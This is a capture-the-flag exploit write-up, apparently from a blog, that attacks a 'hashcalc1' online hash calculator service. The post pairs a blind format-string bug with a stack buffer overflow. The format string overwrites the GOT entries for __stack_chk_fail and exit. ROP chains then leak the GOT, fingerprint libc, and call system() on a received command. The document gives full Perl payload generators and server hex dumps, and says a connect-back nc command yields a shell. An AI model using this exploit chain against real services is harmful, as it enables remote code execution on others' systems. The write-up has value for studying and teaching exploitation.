- request_handler
- recv into a 0x400 bytes large buffer (max 0x3ff bytes + NUL terminator)
- call fprintf on this string (output goes into /home/hashcalc1/LOG, so we can't see it)
- hash the string
- reply_func
- sprintf string and hash using format string "%u (%s)" into buffer of size 0x100
- send reply string
So what we have is a blind format string bug in request_handler, and a buffer overflow in reply_func. The buffer overflow is normally detected because of a damaged stack cookie however. Since the stack and libs are randomized we really want to have the freedom to explore the address space using ROP instead of just using a printf exploit, so let's see if we can find a way to make the overflow work.
This code is called when a stack cookie is found to be damaged:
8049190: 55 push ebp 8049191: 89 e5 mov ebp,esp 8049193: 53 push ebx 8049194: e8 74 ff ff ff call 804910d <getgid@plt+0x719> 8049199: 81 c3 33 12 00 00 add ebx,0x1233 804919f: e8 d0 f7 ff ff call 8048974 <__stack_chk_fail@plt> 80491a4: 90 nop
So let's disable this by using the printf exploit to replace the GOT entry for __stack_chk_fail with a pointer to something which will simply return control to the caller:
8049186: 5e pop esi 8049187: 5f pop edi 8049188: 5d pop ebp 8049189: c3 retFind the GOT entry:
08048974 <__stack_chk_fail@plt>: 8048974: ff 25 3c a4 04 08 jmp DWORD PTR ds:0x804a43c
So we want to write 0x8049186 to 0x804a43c.
To build the printf exploit we need to know an argument index that falls into a user-controlled buffer.
Function prologue:
8048d1d: 55 push ebp 8048d1e: 89 e5 mov ebp,esp 8048d20: 53 push ebx 8048d21: 81 ec 1c 04 00 00 sub esp,0x41cSo esp+4+0x41c = ebp. Our buffer is at ebp-0x408 = (esp+4+0x41c)-0x408 = esp+0x18, and argument index 1 is at esp+8. Argument index = 1 + (0x18-8)/4 = 5.
We plug this into a script that generates printf exploit strings (since I can't be bothered to figure it out manually each time). This gives the string
'\x3c\xa4\x04\x08\x3e\xa4\x04\x08%5$37246x%5$n%5$28282x%5$2052x%6$n'
. Trying this out against a local copy of the service confirms that this performs the desired overwrite.(To get a local copy running, you either have to patch the binary or create a user with the expected name.)
In short, as long as we start our string with this format string the stack cookie checking should be bypassed.
We want to use this to build ROP sequences. Since we want fully clean ROP we'll send a NUL byte after the initial return address, so the code that strips newlines doesn't mangle it. This also means we need to use our initial eip control in reply_func to jump up to the buffer in the parent function.
Exploit string so far:
'\x3c\xa4\x04\x08\x3e\xa4\x04\x08%5$37246x%5$n%5$28282x%5$2052x%6$n', padding, fake stack cookie, fake saved ebx, fake saved ebp, ret addr, NUL byte.
Note that the padding needs to make sure that the amount of output generated by printf("%u (%s", hash, fmt_str_plus_padding) is exactly 0x100, which depends on the value of the hash. Since (1-(999/0xfff)) * 100 = 76% of hash values will have length 4 it's easiest just to assume this and fiddle with the string until this assumption holds.
At the point where we take control using our new return address esp has been restored to the value it had in the stack frame of request_handler (ebp has been thrashed though). Recall that our buffer in the parent function is at esp+0x18. We already used up 0x100-6+16+1 = 0x10b bytes, so our ROP will start at esp+0x18+0x10b at the lowest, but let's round it up to esp+0x124.
The most convenient ROP gadget for this operation is this code from the epilogue of reply_func:
8048bd5: 81 c4 1c 01 00 00 add esp,0x11c 8048bdb: 5b pop ebx 8048bdc: 5d pop ebp 8048bdd: c3 ret 41c
If we use
0x8048bd5
we end up at esp-0xc-0x11c = esp-0x128
.The perl script used to generate the string:
my $s = "" # patch stack cookie failure function $s .= "\x3c\xa4\x04\x08". "\x3e\xa4\x04\x08". "\x58\xa4\x04\x08". "\x5a\xa4\x04\x08"; $s .= '%5$37238x%5$n%5$28282x%5$2052x%6$n%7$33507x' . '%7$n%7$29977x%7$2052x%8$n'; # pad to buffer size $s .= "A"x(256-6-68-16); # stack cookie, saved ebx, saved ebp, return addr $s .= pack("IIII", 0xdfadbeef, 0xdeadbeef, 0xdeadbeef, 0x8048bd5); # alignment $s .= "\0\0"; # ROP: $s .= pack( "IIIIII", 0x8048994, 0xdeadbeef, int($ARGV[1]), 0x804a3d8, (0x804a45c+4)-0x804a3d8, 0 ); print $s;This dumps the GOT. The file descriptor number is given as an argument because on the server it's 5 while on my local install it's 7. Also note that the printf exploit was modified a bit to also convert exit() calls to nops. This was needed because our buffer overflow also overwrites the file descriptor number, which makes the send() which normally sends the reply with the hash fail. Disabling the exit() call allows us to recover from this.
This is the reply from the server:
000000 2a 2a 20 57 65 6c 63 6f 6d 65 20 74 6f 20 74 68 |** Welcome to th| 000010 65 20 6f 6e 6c 69 6e 65 20 68 61 73 68 20 63 61 |e online hash ca| 000020 6c 63 75 6c 61 74 6f 72 20 2a 2a 0a 24 20 40 98 |lculator **.$ @.| 000030 80 b7 d0 9b 83 b7 20 d2 83 b7 30 f6 79 b7 2a 88 |...... ...0.y.*.| 000040 04 08 10 33 7d b7 e0 20 84 b7 a0 20 84 b7 d0 95 |...3}.. ... ....| 000050 7e b7 90 bb 78 b7 20 bf 80 b7 40 88 7e b7 80 70 |~...x. ...@.~..p| 000060 85 b7 30 28 7c b7 a0 1e 84 b7 60 24 84 b7 ea 88 |..0(|.....`$....| 000070 04 08 90 84 7e b7 b0 10 7d b7 c0 c1 7b b7 20 1f |....~...}...{. .| 000080 84 b7 f0 d2 80 b7 a0 1e 83 b7 5a 89 04 08 90 c1 |..........Z.....| 000090 7b b7 86 91 04 08 01 00 83 b7 60 22 84 b7 aa 89 |{.........`"....| 0000a0 04 08 50 c5 80 b7 e0 23 84 b7 90 af 80 b7 e7 8a |..P....#........| 0000b0 04 08 02 00 80 b7 |......|
Skip the first 46 bytes and we get the GOT...
000000 40 98 80 b7 d0 9b 83 b7 20 d2 83 b7 30 f6 79 b7 |@....... ...0.y.| 000010 2a 88 04 08 10 33 7d b7 e0 20 84 b7 a0 20 84 b7 |*....3}.. ... ..| 000020 d0 95 7e b7 90 bb 78 b7 20 bf 80 b7 40 88 7e b7 |..~...x. ...@.~.| 000030 80 70 85 b7 30 28 7c b7 a0 1e 84 b7 60 24 84 b7 |.p..0(|.....`$..| 000040 ea 88 04 08 90 84 7e b7 b0 10 7d b7 c0 c1 7b b7 |......~...}...{.| 000050 20 1f 84 b7 f0 d2 80 b7 a0 1e 83 b7 5a 89 04 08 | ...........Z...| 000060 90 c1 7b b7 86 91 04 08 01 00 83 b7 60 22 84 b7 |..{.........`"..| 000070 aa 89 04 08 50 c5 80 b7 e0 23 84 b7 90 af 80 b7 |....P....#......| 000080 e7 8a 04 08 02 00 80 b7 |........| 000088
The first two entries are the addresses of setgroups and setregid. Let's see if their relative offset is the same as in the libc on one of the other game boxes:
0xb7809840 - 0xb7839bd0 == 0x00094840 - 0x000c4bd0
This works out, so we know the version of libc being used and can resolve addresses.
Let's go for a simple ROP: recv some data into a known location in the data section, and then run system() on it.
0x8048844, 0x8049109, int($ARGV[0]), 0x804a468, 0x200, 0, 0xb7809840 - 0x00094840 + 0x00039180, 0xdeadbeef, 0x804a468
Explanation:
0x8048844: recv@plt
0x804a468: our buffer (start of bss section)
0x8049109: pop pop pop ret
0xb7809840 - 0x00094840 + 0x00039180: address of system()
#!/usr/bin/perl my $s = ""; # patch stack cookie failure function $s .= "\x3c\xa4\x04\x08". "\x3e\xa4\x04\x08". "\x58\xa4\x04\x08". "\x5a\xa4\x04\x08"; $s .= '%5$37238x%5$n%5$28282x%5$2052x%6$n' . '%7$33507x%7$n%7$29977x%7$2052x%8$n'; # pad to buffer size $s .= "A"x(256-6-68-16); # stack cookie, saved ebx, saved ebp, return addr $s .= pack("IIII", 0xdfadbeef, 0xdeadbeef, 0xdeadbeef, 0x8048bd5); # alignment $s .= "\0\0"; # ROP: $s .= pack( "IIIIIIIII", 0x8048844, 0x8049185, int($ARGV[0]), 0x804a468, 0x200, 0, 0xb7809840 - 0x00094840 + 0x00039180, 0xdeadbeef, 0x804a468 ); print $s;So now if we input this to the program, then sleep for a second, and then send it a NUL-terminated shell command it will execute this. Simply send a connectback nc command (bindshell doesn't seem to work, firewall disallowed?) gets you a shell.
Geen opmerkingen:
Een reactie posten